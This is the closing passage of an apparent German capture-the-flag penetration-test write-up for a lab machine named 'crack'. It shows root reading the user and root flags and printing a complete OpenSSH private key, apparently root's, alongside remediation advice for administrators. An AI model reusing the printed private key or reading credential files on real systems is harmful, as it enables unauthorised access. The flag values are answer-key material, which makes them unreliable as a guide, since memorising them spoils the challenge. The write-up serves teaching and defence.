Empfehlung (Admin): Höchste Priorität! Das System ist vollständig kompromittiert. 1. Sofort alle vorherigen Empfehlungen umsetzen (sudo-Regel entfernen, kompromittierten Root-SSH-Key widerrufen/ersetzen und aus authorized_keys entfernen, cris-Passwort ändern, LFI-Skript fixen/entfernen, FTP härten). 2. Da Root-Zugriff erlangt wurde, ist eine Neuinstallation aus einem vertrauenswürdigen Backup oder eine komplette Neuaufsetzung des Systems dringend empfohlen, da Hintertüren oder weitere Malware platziert worden sein könnten. 3. Analysiere System- und Auth-Logs gründlich auf das Ausmaß des Angriffs. 4. Deaktiviere den direkten Root-Login via SSH (PermitRootLogin prohibit-password oder besser PermitRootLogin no in /etc/ssh/sshd_config) und erlaube Logins nur für reguläre Benutzer, die dann sudo verwenden.

Auslesen der Root-Flag als Benutzer `root`.

root@crack:~# cat root_fl4g.txt
wRt2xlFjcYqXXo4HMV

**Analyse:** Als `root` wird der Befehl `cat root_fl4g.txt` ausgeführt. Dieser liest den Inhalt der Datei `root_fl4g.txt` im aktuellen Verzeichnis (`/root`) und gibt ihn aus: `wRt2xlFjcYqXXo4HMV`. Dies ist die Root-Flag.

**Bewertung:** Erfolgreiches Erreichen des finalen Ziels (Root-Flag).

**Empfehlung (Pentester):** Notiere die Root-Flag. Schließe den Bericht ab.
**Empfehlung (Admin):** Die Flag selbst ist nur ein Marker. Die Tatsache, dass sie gelesen werden konnte, bestätigt die vollständige Kompromittierung.

Erneutes Auslesen der User-Flag und des privaten Schlüssels als Root (zur Demonstration).

root@crack:/home/cris# cat user.txt
eG4TUsTBxSFjTPHMV
root@crack:/home/cris# cat id


-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAxBvRe3EH67y9jIt2rwa79tvPDwmb2WmYv8czPn4bgSCpFmhDyHwn
b0IUyyw3iPQ3LlTYyz7qEc2vaj1xqlDgtafvvtJ2EJAJCFy5osyaqbYKgAkGkQMzevdGt
xNQ8NxR4/bC1v90lUrhyLi/ML5B4nak+5vLFJi8NlwXMQJ/xCWZg5+WLduFp4VvHlwAf
tDh2C+tJp2hqusW1jZRqSXspCfKLPt/v7utpDTKtofxFvSS55MFciju4dIaZLZUmiqoD4k
/+FwJbMna8iPwmvK6n/2bsE1+nyKbkbvDG5pjQ3VBtK23BVnlxU4frFrbicU+VtkClfMu
yp7muWGA1ydvYUruoiaURYupzuxw25Rao0Sb8nW1qDBYH3BETPCypezQXE22ZYAj0ThSl
Kn2aZN/8xWAB+/t96TcXogtSbQw/eyp9ecmXUpq5i1kBbFyJhAJs7x37WM3/Cb34a/6v8c
9rMjGl9HMZFDwswzAGrvPeroVB/TpZ+UBNGE1znAAAFgC5UADIuVAAyAAAAB3NzaC1yc2
EAAAGBAMQb0XtxB+u8vYyLdq8Gu/bbzw8Jm9lpmL/HMz5+G4EgqRZoQ8h8J29CFMssN4j0
Ny5U2Ms+6hHNr2o9capQ4LWn777SdhCQCQhcuaLMmqm2CoAJBpEDMznr3RrcTUPDcUTuP2
wtb/dJVK4ci4vzC+QeJ2pPubyxSYvDZcFzECf8QlmYflji3bhaeFbx5cAH7Q4dgvrSado
arrFtY2Uakl7KQnyiz7f7+7raQ0yraH8Rb0kueTBXIo7uHSGmS2VJoqqA+JP/hcCWzJ2vI
j8Jryup/9mzrBNfp8im5G7wxuaY0N1QbSttwVZ5cVH6xa24nFPlbZApXzLsqe5rlhgNcn
b2FK7qDomlEWLqc7scNuUWqNEm/J1tagwWB9wREzwsqXs0FxNtmWAI9E4UpSp9mmTf/MVg
Afv7fek3F6ILUm0MP3sqfXnJl1KauYtZAWxciYQCb8d+1jN/wm9+Gv+r/HPazIxpfRzGR
Q8LMMwBq7zznq6FQf06WflATRhNc5wAAAAMBAAEAAAGAeX9uopbdvGx71wZUqo12iLYLg
3a87DbhP2KPw5sRe0RNS10xEwcVq0fUfQxFXhlh/VDN7Wr98J7b1RnZ5sCb+Y5lWH9iz2
m6qvDDDNJZX2HWr6GX+tDhaWLt0MNY5xr64XtxLTipZxE0n2Hueel18jNldckI4aLbAKa/
a4rL058j5AtMS6lBWFvqxZFLFr8wEECdBlGoWzkjGJkMTBsPLP8yzEnlipUxGgTR/3uSMN
peiKDzLI/Y+QcQku/7GmUIV4ugP0fjMnz/XcXqe6GVNX/gvNeT6WfKPCzcaXiF4I2i228u
TB9Ga5PNU2nYzJAQcAVvDwwC4IiNsDTdQY+cSJ0KCcs2cq59EaoZHY6d88900V3MKFG
TwielzW1Nqq1ltaQYMtnILxzEeXJFp6LlqFTF4Phf/yUyK04a6mhFg3kJzsxE+iDVH28D
Unj2g53KJ2FdLBHkUDlXMaDsISuizi0aj2MnhCryfHefhIsi1JdFyMhVuXCzNGUBAAAA
wQDlr9NWE6q1BovNNobebvw44NdBRQE/1nesegFqlVdtKM61gHYWJotvLV79rjjRfjnGHo
0MoSXZXiC/0/CSfe6Je7unnIzhiA85jSe/u2dIviqItTc2CBRtZl7Vrflt7lasT7J1WA
1RwaN5uL26gIgtf/Y7Rhi0wFPN289UI2gjeVQKhXBbVm3qY7yZh8JpLPH5w0Xeuo20sP
WchZl0D8KSZUKhlPU6Pibqmj9bAAm7hwFecuQMeS+nxg1qIGYAAADBAZ1XuryyH9RWIo
0sTQ3d/kJNgTNHAs4Y0SxSejC+N3tEU33GU3P+ppfHYy595rX7MX4o3gqXFpAaHRIAupr
DbenB1HQW4o6Gg+SF2GWPAQeuDbCsLM9P8XiQIjTuCvYwHUdFD7nWMJ5Sqr6EeBV+CYw1
Tg5PIU3FsnN5D3QHVpGNo2qAvi+4CD0BC5fxs6cZ1RBqbJ1kanw1H6fF8nRRBds+26Bl
/RGZHTBPLVenhNmWN2fje3GDBqVeIbZwAAAMEA2dfdjpefYEgtF0GMC9Sf5UzKIEKQMzoh
oxY6YRERurpcyYuSa/rxIP2uxu1yjIIc4hpsQaoipTM0T9PS56Cr+FN9mcIcXCj5SVEq
2UVzu9LS0PdqPmniNmWglwvAbkktcEmbmCLYoh5GBxm9VhcL69dhzMdVe73Z9QhNXnMDlf
6xpD9lHWyp+ocD/meYC7V8aio/W9VxL25NlYwdFyCgecd/rIJQ+tGPXoqXIKrf5lVrVtFC
s8IoeeQHSidUKBAAAACnJvb3RAY3JhY2s=
-----END OPENSSH PRIVATE KEY-----

Analyse: Als root werden die User-Flag (/home/cris/user.txt) und der Inhalt der zuvor erstellten Datei id (/home/cris/id), die den privaten SSH-Schlüssel von Root enthält, erneut angezeigt. Dies dient lediglich der Vollständigkeit und Demonstration der Root-Rechte.

Bewertung: Bestätigt den Lesezugriff als Root auf die entsprechenden Dateien.

Empfehlung (Pentester): Keine weiteren Aktionen nötig, die Flags wurden bereits erfasst.
Empfehlung (Admin): Keine spezifischen Maßnahmen für diesen Schritt, siehe allgemeine Empfehlungen zur Systemkompromittierung.

Flags

cat /home/cris/user.txt
eG4TUsTBxSFjTPHMV
cat /root/root_fl4g.txt
wRt2xlFjcYqXXo4HMV